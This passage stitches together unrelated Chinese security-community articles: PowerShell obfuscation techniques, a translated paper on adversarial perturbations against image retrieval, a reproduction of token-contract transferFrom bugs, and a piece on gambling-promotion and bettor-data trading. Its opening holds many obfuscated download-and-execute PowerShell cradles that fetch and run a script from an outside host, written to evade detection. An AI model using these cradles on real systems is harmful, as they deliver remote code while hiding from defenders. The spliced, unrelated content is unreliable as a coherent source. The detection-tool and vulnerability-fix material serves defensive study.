//将NE download http://分别填到{0},{1},{2}
IEX ('({0}w-Object {0}t.WebClient).{1}String("{2}7ell.me/power")' -f 'Ne', 'Download','http://') | IEX
//示例2
.("{1}{0}" -f 'X','IE') (&("{3}{2}{1}{0}" -f 'ct','-Obje','w','Ne') ("{0}{2}{1}" -f 'N','nt','et.WebClie')).("{2}{0}{1}{3}" -f 'dSt','rin','Downloa','g').Invoke(("{5}{0}{3}{4}{1}{2}" -f 'tp:/','o','wer','/','7ell.me/p','ht'))
变量拼接
$c1="(New-Object Net.We"; $c2="bClient).Downlo"; $c3="adString('http://7ell.me/power')";
1. IEX ($c1,$c2,$c3 -Join '') | IEX
2. IEX ($c1,$c3 -Join $c2) | IEX
3. IEX ([string]::Join($c2,$c1,$c3)) | IEX
4. IEX ([string]::Concat($c1,$c2,$c3)) | IEX
5. IEX ($c1+$c2+$c3) | IEX
6. IEX "$c1$c2$c3" | IEX
**2.5 编码**
Ascii
使用[char]xx 代替字符 如：[char]59–>;
//不用分号
$cmd= "$c1~~$c2~~$c3~~$c4"; IEX $cmd.Replace("~~",[string]([char]59)) | IEX
Base64
命令行参数使用
-EC,-EncodedCommand,-EncodedComman,-EncodedComma,-EncodedComm,......,Enc,-En,E
解码echo 123 的base64 ZQBjAGgAbwAgADEAMgAzAAoA
1.PS 2.0 -> [C`onv`ert]::"FromB`Ase6`4Str`ing"('ZQBjAGgAbwAgADEAMgAzAAoA')
2.PS 3.0+ -> [ <##> Convert <##> ]:: <##> "FromB`Ase6`4Str`ing"('ZQBjAGgAbwAgADEAMgAzAAoA')
.NET的方法
IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('ZQBjAGgAbwAgADEAMgAzAAoA')))
其他不同的方式编码 hex/octal/binary/BXOR/etc.
[Convert]::ToString(1234, 2)
[Convert]::ToString(1234, 8)
[Convert]::ToString(1234, 16)
也是转换为16进制
"{0:X4}" -f 1234 小写： "{0:x4}" -f 1234
[Byte][Char]([Convert]::ToInt16($_,16))
($cmd.ToCharArray() | % {[int]$_}) -Join $delim //可以去掉空白 -Join$delim
$bytes[$i] = $bytes[$i] -BXOR 0x6A //可以去点空白 $bytes[$i]-BXOR0x6A)
**SecureString**
关于SecureString: Get-Comamnd *secure-string*
https://www.pdq.com/blog/secure-password-with-powershell-encrypting-credentials-part-1/
https://www.pdq.com/blog/secure-password-with-powershell-encrypting-credentials-part-2/
$secPwd= Read-Host "Enter password" -AsSecureString
$secPwd= "echo 123" | ConvertTo-SecureString -AsPlainText -Force
$secPwd| ConvertFrom-SecureString
加密指定key
$cmd= "code"
$secCmd= ConvertTo-SecureString $cmd -AsPlainText -Force
$secCmdPlaintext= $secCmd| ConvertFrom-SecureString -Key (1..16)
$secCmdPlaintext
解密
echo xxxx| ConvertTo-SecureString -Key (1..16)
示例
$cmd= "echo 123"
$secCmd= ConvertTo-SecureString $cmd -AsPlainText -Force
$secCmdPlaintext= $secCmd| ConvertFrom-SecureString -Key (1..16)
运行
$secCmd= $secCmdPlaintext| ConvertTo-SecureString -Key (1..16);([System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secCmd))) | IEX
**2.6 自构造关键字替换**
就是在其他命令的输出下查看观察目标字符串位置，然后提取出来。比如DownlaodString的构造替换
DownloadString == (((New-Object Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*wn*d*g'}).Name)
IEX (New-Object Net.WebClient).(((New-Object Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*wn*d*g'}).Name).Invoke('http://7ell.me/power')
再结合get-command的变形
IEX (.(COMMAND *w-*ct) Net.WebClient).(((.(COMMAND *w-*ct) Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*wn*d*g'}).Name).Invoke('http://7ell.me/power')
根据这样的思路结合上面提到的获取环境变量方法，可以把New-Object层层混淆为
(GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).(((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).PsObject.Methods|Where{(GCI Variable:_).Value.Name-ilike'*Co*d'}).Name).Invoke((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).(((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name)|GM|Where{(GCI Variable:_).Value.Name-ilike'G*om*e'}).Name).Invoke('N*ct',$TRUE,1), [System.Management.Automation.CommandTypes]::Cmdlet)
**3\. IEX 的处理与其他执行方法**
经过上面构造可以看到很多都使用Invoke-Expression/IEX命令，.，&符号来执行表达式。
Invoke-Expression/IEX命令是很常用的一个命令， 运行一个以字符串形式提供的PowerShell表达式。
这里也先看看代替IEX的各种执行方式
Get-Alias/GAL
&(GAL I*X)
.(LS Alias:/I*X)
Get-Command/GCM
.(GCM I*e-E*)
&(Command I*e-E*)
GetCmdlets (PS1.0+),
$ExecutionContext.InvokeCommand.GetCmdlets('I*e-E*'),
//用到环境变量
&(GV E*Cont* -Va).InvokeCommand.(((GV E*Cont* -Va).InvokeCommand.PsObject.Methods|Where{(GV _ -Va).Name -clike'*Cm*ts'}).Name).Invoke('I*e-E*')
InvokeScript (PS1.0+)
$ExecutionContext.InvokeCommand.InvokeScript($Script)
(GV E*Cont* -Va).InvokeCommand.(((GV E*Cont* -Va).InvokeCommand.PsObject.Methods|Where{(GV _ -Va).Name -clike'I*'}).Name).Invoke($Script),
Invoke-Command/ICM
Invoke-Command ([ScriptBlock]::Create($Script))
[ScriptBlock]::Create($Script).Invoke()
.((GV *cut*t -Va).(((GV *cut*t -Va)|Member)[6].Name).(((GV *cut*t -Va).(((GV *cut*t -Va)|Member)[6].Name)|Member|Where-Object{(Get-Variable _ -Va).Name-clike'N*S*B*'}).Name).Invoke($Script))
PS Runspace
[PowerShell]::Create().AddScript($Script).Invoke()
Invoke-AsWorkflow (PS3.0+)
Invoke-AsWorkflow -Expression $Script
提取串联出IEX，也是在其他命令的输出下查看观察目标字符串位置，然后提取出来。
($Env:ComSpec[4,26,25]-Join'')
((LS env:/Co*pec).Value[4,26,25]-Join'')
($ShellId[1]+$ShellId[13]+'x')
((GV S*ell*d -Va)[1]+(DIR Variable:S*ell*d).Value[13]+'x')
( ([String]''.IndexOf)[0,7,8]-Join'')
//怎么构造?，比如上面这个 首先查看''|Get-Member有个IndexOf方法，然后看看[String]''.IndexOf的输出，提取出里面的IEX字母
**4\. 相关工具**
**4.1 Invoke-Obfuscation**
这是一个powershell混淆编码框架，基本涵盖了上述的各种混淆方法，
地址：Invoke-Obfuscation
使用方法：<http://www.freebuf.com/sectool/136328.html>
**4.2 Revoke-Obfuscation**
这是一个powershell混淆检测框架，该工具能给出一个脚本是否混淆的
地址：Revoke-Obfuscation
使用方法
//初始
Import-Module .Revoke-Obfuscation.psm1 -Verbose
//gte-filehash没有输入流参数，自己下载一个get-filehash导入即可
//还有个问题 使用-OutputToDisk输出时，Set-Content没有NoNewline参数，ps5.0没问题。
//检测每一行的混淆情况
Get-Content .test.txt|Measure-RvoObfuscation -Verbose -OutputToDisk
//检测一个文件是否混淆
Get-ChildItem .test.txt|Measure-RvoObfuscation -Verbose -OutputToDisk
//远程检测
Measure-RvoObfuscation -Url 'http://bit.ly/DBOdemo1' -Verbose -OutputToDisk
Measure-RvoObfuscation -Url 'http://7ell.me/powershell/rev.ps1' -Verbose
//从事件了提取ID为4104的日志重组
Get-ChildItem .Demodemo.evtx | Get-RvoScriptBlock -Verbose
Get-RvoScriptBlock -Path 'C:WindowsSystem32WinevtLogsMicrosoft-Windows-PowerShell%4Operational.evtx' -Verbose
Get-WinEvent -LogName Microsoft-Windows-PowerShell/Operational | Get-RvoScriptBlock -Verbose
Get-ChildItem C:MirOrHxAuditFiles*_w32eventlogs.xml | Get-RvoScriptBlock -Verbose
Get-CSEventLogEntry -LogName Microsoft-Windows-PowerShell/Operational | Get-RvoScriptBlock
//从事件日志中提取然后检测
$obfResults = Get-WinEvent -Path .Demodemo.evtx | Get-RvoScriptBlock | Measure-RvoObfuscation -OutputToDisk -Verbose
当使用上面的混淆框架Invoke-Obfuscation的个汇总混淆方法生成几个样本。
使用该工具进行检测测试
批量检测结果 | 社区文章 |
# 针对图像检索的通用扰动攻击
##### 译文声明
本文是翻译文章，文章原作者 Jie Li, Rongrong Ji, Hong Liu, Xiaopeng Hong, Yue Gao, Qi Tian
原文地址：<https://arxiv.org/abs/1812.00552>
译文仅供参考，具体内容表达以及含义原文为准。
## 针对图像检索的通用扰动攻击
原文地址：<https://arxiv.org/abs/1812.00552>
通用对抗性扰动（UAP， _Universal adversarial perturbation_ ），也称为输入不可知扰动（ _input-agnostic perturbation_
），已被证明存在并且能够欺骗大量数据样本上最先进的深度学习模型。现有的UAP方法主要集中在攻击图像分类模型上。在本文中首次尝试攻击图像检索系统。
具体地说，图像检索攻击是使检索系统将不相关的图像返回到排名靠前的查询中。它对破坏图像检索攻击中特征之间的邻域关系起着重要作用。为此，提出了一种新颖的方法，即通过降级相应的排名指标来生成针对UAP的检索，以打破图像特征的邻域关系。
为了将攻击方法扩展到具有变化的输入大小或不可设涉及的网络参数的场景，提出了一种多尺度随机调整方案（ _multi-scale random
resizing_ ）和排序蒸馏策略（ _ranking distillation strategy_
）。在四个广泛使用的图像检索数据集上评估了该方法，并报告了不同指标（例如mAP和mP[@10](https://github.com/10
"@10")）的性能显着下降。最后，在实用的视觉搜索引擎（即Google Images）上测试了攻击方法，证明了方法的实际潜力。
## 0x01 Absert
卷积神经网络（CNN）已成为解决各种计算机视觉任务（例如图像分类，图像分割和目标检测）的最新解决方案。尽管取得了巨大的成功，但深度学习模型显示出容易受到输入图像的微小扰动的影响。
目前已经提出了各种攻击技术，例如模型蒸馏（ _model distillation_ ），迁移学习（ _transfer learning_ ）和梯度更新（
_gradient updating_
）。与以前称为图像特定扰动的方法相反，通用对抗扰动（UAP）可以使数据分布中的大多数图像被欺骗。作为通用，UAP可以方便地利用它来即时扰动看不见的数据点，而无需额外的计算。因此，UAP在广泛的应用中特别有用。
现有的方法无论是否与图像无关，都主要集中在图像分类上，而没有任何现有的工作触及攻击图像检索系统的工
作。作为计算机视觉中一个长期的研究主题，图像检索旨在从给定查询图像的数据集中找到相关图像。尽管在提高搜索准确性或效率有很多工作，但很少有人关注最新检索系统的漏洞。在图像检索中直接采用现有的UAP方法是困难的，原因来自四个方面：
**•不同的数据集标签格式：**
设计用于图像分类的大多数现有UAP方法都适用于以类别标记的数据集，这需要UAP将数据点推过决策边界。但是，检索中的数据集通常用相似性标记，这需要UAP捕获特征之间的复杂关系。
**•不同的目标：**
现有UAP方法的目标是干扰单个实例的一元和二分模型输出，例如，更改最可能的预测标签。但是，仅仅破坏top-1的结果还是不够的，因为检索评估通常是在排名列表上进行的。因此，对于攻击检索系统，应该通过降低准确样本的位置来干扰排名列表。
**•不同尺寸的模型输入：**
通常现有UAP经过训练的模型要求输入图像的尺寸固定，但是这些UAP很脆弱，可以通过改变输入大小来防御。注意，检索中图像的大小通常是变化的，这限制了传统UAP的直接使用，因此对生成用于图像检索任务的UAP提出了更高的要求。
**•不同的模型输出和优化方法：**
通常假定可以获取每个类别的预测置信度，并且置信度是一组连续和浮点数，它们快速响应输入的变化。它指示估计梯度以进行优化的方法。但是，检索系统返回的大规模离散排名列表几乎没有提供有关梯度近似的指导。这个事实使得将现有的UAP应用于无法访问网络参数的检索系统是不可行的。
在本文中首次尝试攻击图像检索，特别是部署在深度特征上的尖端图像检索模型。原则上目标是生成一个用于破坏特征空间中邻域关系的UAP，如上图所示。为解决上述挑战提出了一种新颖的通用对抗性摄动攻击方法来进行图像检索。详细地说，构建了一个通用模型来设计UAP，该模型通过稍微改变输入来打破特征点之间的邻域关系。首先通过基于最近和最远的组构造元组来考虑邻域结构之间的成对关系，通过在元组中交换相似关系来破坏这种关系。
尽管破坏成对的关系既简单又有效，但成对信息每次都专注于查询和两个数据样本之间的局部关系，而无需考虑对检索更重要的全局排名列表，认为它不能从根本上解决检索攻击问题。从理论上提出了从列表方面生成UAP的方法，该方法可以通过将相应的排名指标破坏到相对引用的较低位置来进一步排列整个排名列表。此外提出了一种多尺度随机调整大小方案，以将UAP应用于不同分辨率的输入图像，在实验上比固定尺度方法表现出更好的定位性能。所提出方法的流程如下图所示。
方案还通过粗略到精细的策略进一步实现了攻击而无需触及网络参数，从而通过回归排名列表来提蒸馏模型，如下图所示。首先构造了粗略的子集，保留了从整个大型排名列表中选择采样的全局排名信息，并快速蒸馏模型以适应子集中的常规关系。然后从细粒度的层次上，集中于最相关的前k个实例进行检索以完善蒸馏的模型。
从数量上讲，通用对抗性扰动可以使诸如mAP和mP @
10的性能下降至少50％，这表明尖端的图像检索系统非常容易受到对抗性样本的攻击。进一步评估了在真实世界图像搜索引擎（即Google图片）上的通用扰动，并得出结论该扰动还会破坏输出排名列表。
## 0x02 Related Work
**对抗样本：**
神经网络可以被对抗性样本所欺骗，一例如通过添加人眼难以感知的对抗性扰动。与可以访问受害人模型的“白盒”相反，“黑盒”是指攻击者对受害人知之甚少的情况。可以看出，为特定模型或训练集设计的扰动会欺骗其他模型和数据集，称为转移攻击，这在黑盒中被广泛采用。另一种流行的方法是知识蒸馏，它通过对受害者的输出进行回归获得替代模型，然后应用白盒攻击方法。
**检索的视觉特征：**
图像检索是计算机视觉中一个长期存在的研究主题。给定查询图像，搜索引擎将从大量参考图像中检索相关的图像。典型设置是指在查询和参考之间提取和比较特征，例如全局描述符和局部描述符聚合。如今，最主要的检索方法主要基于CNN
。他们主要使用预先训练的CNN作来提取图像的整体表示。为此，经过ImageNet预先训练的CNN模型（例如AlexNet，VGGNet和ResNet）已经提供了优于人工获取特征的性能，微调CNN模型可以进一步提高检索性能。在这种趋势下，提出了许多最近的方法来构造可训练的合并层，以更好地表示特征。
## 0x03 The Proposed Method
旨在寻求约束为||δ||∞≤e的通用扰动δ，以破坏数据分布X中尽可能多的相似关系。这样，在添加了较小的扰动后，本来相似的特征应该会有所不同。为方便起见，用δ表示通用扰动，用以下方式表示第i个原始图像xi和对抗性特征向量的特征向量：
其中F（·）是通过CNN模型输出特征向量的函数，RI（·）和RP（·，·）分别是用于输入图像和通用摄动的调整大小运算符。
两个特征向量fi和fj之间的欧几里得距离被表征为函数d（fi，fj）。为了避免由大规模数据集引起的计算开销，预先计算将任何查询点与界标进行比较的基于界标(landmark-based)的顺序关系。
### A.基准
首先尝试使用按标签的信息来干扰检索系统，以验证针对分类的UAP是否适合于检索。定义了一个分类器，该分类器配备了具有FC层和softmax层的交叉熵损失函数。将聚类索引识别为伪标签，并将其用于所有实验，以减少计算成本并确保每个实验均在相同的设置下进行。伪标签具有受害者模型的特征，其中包括比真实标签更多的受害者属性，并可能使攻击受益。此外，伪标签可以轻松地扩展到无法使用确切标签的场景。分类器通过伪标签进行训练，然后通过最大程度地减少广泛使用的分类攻击损失来欺骗，如下所示：
其中[x] +是max（x，0）函数，Z（·）是softmax层之前的输出，t是纯输入的标签，x’是受δ干扰的输入。
### B.UAP
图像检索可以看作是一个排名问题，从这个角度来看，查询和引用之间的关系起着重要的作用。因此，应该充分利用这种关系，可以进一步提高攻击性能。为此认为两个关系被损坏，即，成对性和列表方式。
**损坏成对关系（Pair-wise）：**
在这里使用最接近和最远参考之间的顺序关系来近似成对信息，可以直接通过经典三重态损失构造它们。形式化的，可以将有序关系集C编写如下：
将ηik= 1定义为共享相同簇相似的xi和xk对。 ηij=
0表示对应于样本xi和xj的群集之间的距离最远。因此，可以重新计算属于C子集的一组元组。为了攻击检索系统，将传统的三元组损失降至最低，如下所示：
其中，α是代表匹配和不匹配样本之间的余量的参数。
**损坏基于列表的关系（List-wise）：** 与破坏仅基于本地关系的成对配对不同，进一步排列整个排名列表以实现逐列表关系，以破坏相应的排名指标。
由于列表通常太大而无法直接处理，因此重复使用以上采用的界标，并通过每次从每个界标中抽取参考来构造具有适当大小的排名列表的子集。将集群中心的反向排名列表视为理想的排名序列，并销毁标准化折扣累积增量（NDCG）度量，因为它是最适合信息检索的最经典度量。
NDCG是多级度量，旨在根据实例在结果列表中的位置来度量实例的收益。增益是从列表的顶部到底部累积的，较低级别的参考增益将被打折扣。给定集合S及其评级的任意集合g
{yi} | g | i = 1，DCG定义如下：
NDCG将DCG除以理想排名序列的值，以确保范围为。但是，等式中的特征是非凸且非平滑的，这使得优化存在问题。为此，通过交换引用累积影响来近似梯度。给定查询图像特征fi按分数对图像进行排序后，如果yj和yk分别是当前第i个图像特征和第j个图像特征fj和fk的理想等级指数，则距离函数的切线为该属性如下：
因此，给定一个排名列表，可以直接计算方程中的梯度残差之和。 它大致接近等式中NDCG损失的梯度。
由于DCG中的折扣因子，还引入了λ参数来加权梯度残差，其梯度可以定义如下：
其中|∆NDCGij|是NDCG度量的变化，如果交换第i和第j个引用的位置的话。
### C.随机调整大小
与分类模型不同，分类模型将输入图像裁剪并填充为固定大小，而检索模型可以接受不同比例的输入。因此，调整大小是防御攻击的一种手段，它不仅影响检索性能，而且影响攻击质量。
为了使建议的通用扰动适合于不同的大小，采用了随机调整大小的过程RI(·)，它将大小为W×H×3的原始输入图像x调整为具有随机大小W’×H’×3的新图像RI(x)
。请注意，W’和H’在特定范围内，并且|W’W W
H’H|应该在合理的小范围内以防止图像失真。然后，将UAPδ调整为新的扰动动RP(δ，RI(x))，其大小与RI（x）相同，以添加到输入图像中。
### D.排序蒸馏
上述方法需要访问通常不现实的模型参数。为了克服它，提出了一种从粗到精的排序蒸馏方法来建立替代模型。注意，不同架构之间存在间隙，蒸馏也可以被视为有效的防御措施。因此，使用多种体系结构进行蒸馏可能无法正常工作。假设模型的架构是已知的。
由于对大型排名指数进行回归运算非常耗费计算量和内存，因此采用分层手法策略，该策略首先考虑粗粒度子集，然后重点关注细粒度的top-k引用。
对于粗粒度部分，考虑保留整个排名列表的子集，该子列表保留全局排名信息以供蒸馏模型回归。具体地，根据索引将大的排序列表划分为多个盒，并且通过从每个盒采样一个参考来构造子集。优化子集上的蒸馏模型以适合相应仓之间的序数关系。形式化的，顺序回归目标定义如下：
其中qi是第i个查询的蒸馏模型的特征，rim是第i个查询的子集中的第m个相似参考的特征，λm是确保顶级参考更重要的折扣因子，β是避免所有要素落入单个点的余量。
随后，对于细粒度部分，进行了针对前k个参考的改进过程。采用类似的策略作为参数减少（例如学习率和范围）减少的粗粒度部分。
### E.优化
由于可以很容易地获得δ的梯度，因此采用具有动量的随机梯度下降来更新第i次迭代的扰动矢量：
其中gi是第i次迭代的动量，而λ是学习率。确保约束||δ||≤e的裁剪操作可能会在δ达到约束后使更新无效。当扰动饱和时，它将δ缩放为一半。详细的算法在下面中提供。
## 0x04 Experiments
在本节中提出定量结果和分析以评估所提出的攻击方案。使用了两个具有三个不同CNN模型（例如AlexNet ，VGGNet 和ResNet
）的最近基于CNN的图像描述符（即MAC和GeM
），形成了在120k的动态结构重构数据集上训练的六个CNN模型。使用Oxford5k和Paris6k及其修订版来评估攻击性能。
**训练数据集：**
SfM数据集包含从Flickr下载的740万张图像。它分别包含两个名为SfM-30k和SfM-120k的大规模训练集。利用来自SfM-30k的6,403幅验证图像上的K-Means聚类获得列表式关系，并使用聚类索引作为伪标签来训练分类模型以获得标签式关系。对SfM-30k的1,691个查询图像进行了通用扰动训练。
**测试数据集：**
Oxford5k数据集由5,062张图像组成，并且对该集合进行了手动注释，以生成11个不同实体地标的全面真实界标，每个界标由5个可能的查询表示。与Oxford5k相似，Paris6k数据集含6,412张图像和55个查询。将Revisited
Oxford5k和Revisited Paris6k数据集分别称为ROxford5k和RParis6k。在原始数据集和修订后的数据集上报告结果。
**视觉特征：** 对于基于CNN的图像表示，使用在ImageNet
上预先训练的AlexNet（A），VGG-16（V）ResNet101（R）[13]作为基本模型来进行微调SfM-120k数据集上的CNN模型。对于微调特征，考虑两个前沿特征，即广义均值池（GeM）和最大池（MAC）。结果获得了总共6个特征来评估攻击性能，分别称为A
GeM，V-GeM，R-GeM，A-MAC，V-MAC和R-MAC。
**评估指标：** 为了测量通用扰动的检索性能，主要考虑三个评估指标，即mAP，mP @
10和欺骗率。与分类不同，top-1标签谓词的欺骗率不能直接用于图像检索。因此定义了一个新的指标来评估检索的欺骗率，称为下降率（DR），如下所示：
其中x是原始特征x的对抗示例，M是用于检索的度量，例如mAP。下降率通过测量检索系统的性能退化来表征攻击性能。下降率越高，攻击越成功。
### A.UAP攻击的结果
评估了六个最先进的深层视觉表示对普遍对抗性干扰的性能，平均DR，mAP和mP @ 10的定量结果显示在上表中。
下降率低（VGG16除外）证明UAP抵抗检索分类的能力有限。尽管它们为VGG16取得了可观的结果，但仍比提出的方法差。显然，对于所有深层的视觉特征，所有通用扰动都在验证集上实现了很高的下降率。
大多数图像的降幅超过50％，这意味着大多数相关图像将不会返回到排名列表的顶部。具体而言，为V-MAC和R-GeM计算的通用扰动实现了近68％的下降率。列表式关系在产生普遍扰动中没有重要作用。将其归功于优化过程中采用的列表排名更高。得出结论，成对关系和按列表关系都适用于通用扰动生成，并且按列表关系可实现更好的性能。
### B.转移攻击的结果
转移攻击是欺骗模型或数据集，并在另一个模型或数据集上产生扰动。上表显示了有关跨不同视觉特征的粘性转移的结果，其中报告了在所有四个评估数据集上计算的mDR。标签中的每一行。上面显示了给定模型制作的扰动mDR，每列显示了目标模型上的转移下降速率。通用扰动是在一种体系结构（例如V-GeM）上进行训练的，评估该体系结构的攻击能力是基于其他深层特征（例如R-MAC或V-MAC）来欺骗检索系统。有趣的是，从同一网络体系结构生成的通用扰动可以很好地转移到具有不同合并方法的相关模型。
还在测量蒸馏的能力。对于该架构是参见上表。很明显，尽管使用了相同的架构，但随机初始化模型的干扰却毫无意义。由于所有检索模型均已从ImageNet预训练模型中进行了微调，因此与其他架构的传递攻击相比，预训练模型产生的扰动可获得可观的结果。但是来自蒸馏模型的每个扰动比来自预训练模型的扰动至少高出6％，显示了对蒸馏进行排序的能力。得出的结论是，当模型参数无法被触及时，提出的排名分布攻击是可行的。
### C.关于调整大小的效果
如前所述，检索系统可以接受各种尺寸的输入图像，这激发了研究攻击系统时调整大小的效果。定量结果显示在上表。首先将调整大小比例设置为固定的362×362和1024×1024，考虑到362×362是用于训练检索模型的比例。
A-GeM和V-GeM的下降率低于多尺度随机调整大小方法的一半。最后，评估了范围对多尺度随机大小调整的影响，并观察到范围过大或过窄都会损害攻击性能。
### D.可视化
上图显示了从Oxbuild5k和Paris6K评估集中获取R-GeM特征的结果。在细节上，为了攻击标签关系，该模型旨在学习扰动以将原始图像推向其他类别。在第二行中，观察到检索到的前5张图像与狗的类别相关，而不是建筑物的真实类别。这种现象存在于成对关系和按列表关系，它们都在某种程度上追求最远的界标，例如，大多数检索到的图像与雕塑或油漆有关。注意，由于成对关系包括成对信息，所以成对关系和成对关系的检索图像相似。
然后在上图中可视化从不同模型训练的扰动。第一行的扰动是从MAC池生成的，第二行的扰动是从GeM池生成的。从不同网络生成的每行的前三个扰动表现出很大的差异，而来自同一列的扰动具有相似的外观。这与转移攻击的结果一致。此外，成对关系和列表关系所产生的扰动比标签关系所产生的扰动更相似，这也可能表明分类攻击和检索攻击之间存在差距。
### E.真实系统攻击
上图显示了在真实世界的图像检索系统（即Google Image）上的攻击结果。偶数行显示扰动的图像以及Google
Image提供的检索到的图像和预测的关键字，这与原始行在奇数行完全不同。例如，原始输入被分类为单色，而对抗样本变为树。请注意，由于缺乏真实排名列表，它无法量化mAP下降。因此，对从Oxbuild5k和Paris6K数据集中随机采样的100张图像中，从损坏的图像的检索列表中删除从正确查询中检索到的图像的频率没有多少。对于此指标，模型实现了62.85％的缺席率。攻击结果表明，该方法可以产生通用扰动，以欺骗现实世界的搜索引擎。
## 0x05 Conclusion
本文提出了一套针对图像检索的通用攻击方法。 主要集中于攻击点式，成对和列表式邻居关系。
进一步详细分析了调整大小操作对产生普遍扰动的影响，并采用多尺度随机调整大小方法来提高上述攻击方案的成功率。 还提出了从粗到精的蒸馏策略以用于黑盒攻击。
在广泛使用的图像检索数据集（即Oxford5k和Paris6K）上评估了提出的方法，显示出很高的攻击性能，导致一系列模型中的大量检索指标下降。
最后，还攻击了真实世界的系统，即Google图片，进一步证明了方法的有效性。 | 社区文章 |
## 文章前言
本篇文章将通过对LightXXX合约内transfeFrom授权转账函数中的allowance不一致性检查问题和CountryXXX合约内transfeFrom授权转账函数中的balance不一致性问题对智能合约中的"不一致性检查"问题进行深入分析介绍，并以此来探究智能合约中值得关注的业务逻辑设计安全问题
## 漏洞原理
#### allowed不一致
漏洞介绍：如下面代码所示，用于检查授权额度的条件语句require(_value <=
allowed[from][msg.sender]);与后期业务逻辑中授权额度更新时的语句"allowed[_from][_to] -=
_value;"存在不一致问题(即检查时检查的条件与后期更新时操作的对象并非同一个)，存在设计缺陷，该漏洞导致的危害是如果用户A给用户B授权转账后，用户B可以无限制的转走用户A的资产，直到转完账户的所有余额
#### balances不一致性
漏洞介绍：如下面的代码所示，用于检查用户资产数量是否足够转账的条件检测语句"require(balances[msg.sender] >=
_value);"与后期转账操作时更新用户资产数量的操作语句"balances[_from] -=
_value;"存在不一致性，该漏洞操作的危害是攻击者能够通过溢出，让`_from`账户余额获得极大的token数量
## 漏洞复现
#### allowed 不一致性
首先，下载LightXXX合约代码之后在本地Remix中进行部署调试(这里需要改一下合约中owner地址便于调试)，相关账户地址信息如下所示：
* 管理者：0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
* 攻击者1：0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2
* 攻击者2：0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db
Step 1：以管理者身份调用approve函数给予攻击者1一定的转账额度
approve:
"0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2",10000
交易记录信息：
Step :2：使用allowance 查看转账额度：
"0x5B38Da6a701c568545dCfcB03FcB875f56beddC4","0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2"
此时此时攻击者2的余额为0：
Step 3：之后切换为攻击者1身份，并通过攻击者1使用transferFrom向攻击者2进行转账操作
transferFrom：
"0x5B38Da6a701c568545dCfcB03FcB875f56beddC4","0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db",10000
交易记录信息如下：
Step 3：攻击者1继续使用:transferFrom向攻击者2进行转账操作，仍然能转账成功，因为
allowed[_from][msg.sender]没有发生变化
transferFrom：
"0x5B38Da6a701c568545dCfcB03FcB875f56beddC4","0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db",10000
交易日志记录：
之后发现攻击者2的余额依然增加了:
通过此攻击，攻击者能够将 _from 账户里的所有余额转移到其它用户余额中，并且`allowed[_from][_to]`是溢出了的~
allowance :
"0x5B38Da6a701c568545dCfcB03FcB875f56beddC4","0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db"
#### balances不一致性
首先，下载CountryXXX合约然后在Remix中进行部署分析调试(在构造函数中给msg.sender赋一些token)，相关地址如下：
* 管理者： 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
* 攻击者1：0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2
* 攻击者2：0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db
Step 1：在这里我们首先通过管理者地址给攻击者1地址打一定数量的代币进去，来模拟攻击者1充值token：
0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2,100000000000000
交易日志信息：
之后攻击者1的地址所拥有的token数量为：
另一个攻击者2地址账户余额为0
Step 2：接下来我们的攻击就是让第二个账户溢出，之后使用攻击者2给予攻击者1一定的转账额度权限
approve:
"0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2",10000
Step 3：切换回攻击者1，然后使用transferFrom向自己进行转账操作
transferFrom：
"0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db","0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2",10000
交易日志如下：
此时攻击者2地址上余额本来为0，但经过 “ 的减法计算下溢变为了一个极大值
## 修复方案
修复方法如下：
1、使用safeMath方法进行计算
2、使用balances[_from] >= _value作为条件判断而非 balances[msg.sender]
3、检查allowed[_from][msg.sender]并对allowed[_from][msg.sender]进行操作不要与allowed[_from][_to]混用
修复示例： | 社区文章 |
# 论博彩狗推的自我修养，谁看了不拍手叫“绝”（下）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
博彩推广在博彩（菠菜）圈子中占据着举足轻重的作用，可以这么说，每一个“成功”的博彩平台（狗庄）背后，都是数不尽的狗推人员在助力。而狗推就是通过各种渠道帮助菠菜平台进行引流、维护、电销、招商、推广的人员，狗推成功引导赌客在平台投注，过程中也就涉及到
**渠道推广、获客（获得客户联系方式）、平台转化** 三个环节。
## 获客
由下图可以看出，博彩平台注册的赌客信息，一般包括 **姓名、手机号、身份证号、归属地、邮箱、社交账号、银行卡号、登录IP、充值记录、提现记录** 等信息。
由于包含了完整的个人信息，可对用户进行画像分析，找到潜在的资深赌客，于是衍生了抓取博彩平台用户信息的“黑吃黑”产业。不法分子通过入侵博彩网站，使用”脱裤”的方式获取博彩平台的用户信息，进而在黑灰产渠道中贩卖；同时也存在博彩平台站长自己贩卖注册用户信息的现象。
图为某平台售卖的博彩平台用户数据
**产业解密**
**1、赌客为什么在博彩平台填写姓名、身份证号码、银行卡号等敏感信息呢？**
博彩对注册用户进行了严格的身份校验，一方面可以过滤涉嫌套利的用户；一方面确认赌客的收款账户正确，因此，一些菠菜平台在赌客修改银行账户时进行更加严格的限制。
**2、赌客提现为什么总是被审核限制？**
菠菜平台为了保证盈利、反套利，设置了高盈利报警、存提款、异常交易等策略。赌客在这些策略下，会被频繁限制提现。
**高盈利报警策略：** 当赌客一定时间内，盈利超过一定的金额或倍数。
**存提款策略：** 当赌客存提款出现如下状况，需要进行人工审核及监控。
